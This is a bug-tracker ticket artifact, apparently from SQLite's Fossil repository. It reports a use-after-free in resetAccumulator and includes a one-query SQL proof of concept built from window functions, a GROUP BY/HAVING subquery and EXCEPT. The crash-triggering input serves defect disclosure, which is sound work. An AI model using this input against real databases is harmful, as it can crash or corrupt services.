Artifact
cd708fa84d2aaaeacf8fdbef6d594742d061bedc0a2553e4930849abb4adf692:
Ticket change
[cd708fa8]
- New ticket
[c8d3b9f0] Use after free in resetAccumulator..
by
yongheng
2020-06-05 01:52:37.
D 2020-06-05T01:52:37.081
J icomment Release\sversion\sis\saffected.\r\n\r\nPOC:\r\n---\r\nCREATE\sTABLE\sa(b);\r\nSELECT(SELECT\sb\sFROM\sa\sGROUP\sBY\sb\sHAVING(NULL\sAND\sb\sIN((SELECT\sCOUNT()\sOVER(ORDER\sBY\sb)\s=\slead(b)\sOVER(ORDER\sBY\s3.100000\s*\sSUM(DISTINCT\sCASE\sWHEN\sb\sLIKE\s'SM\sPACK'\sTHEN\sb\s*\sb\sELSE\s0\sEND)\s/\sb)))))\sFROM\sa\sEXCEPT\sSELECT\sb\sFROM\sa\sORDER\sBY\sb,\sb,\sb;\r\n---
J login yongheng
J mimetype text/plain
J severity Important
J status Open
J title Use\safter\sfree\sin\sresetAccumulator.
J type Code_Defect
K c8d3b9f0a750a529ec2f991aa9c8f0d68699f263
U yongheng
Z d63e8a91253744e754d556c0da9025a6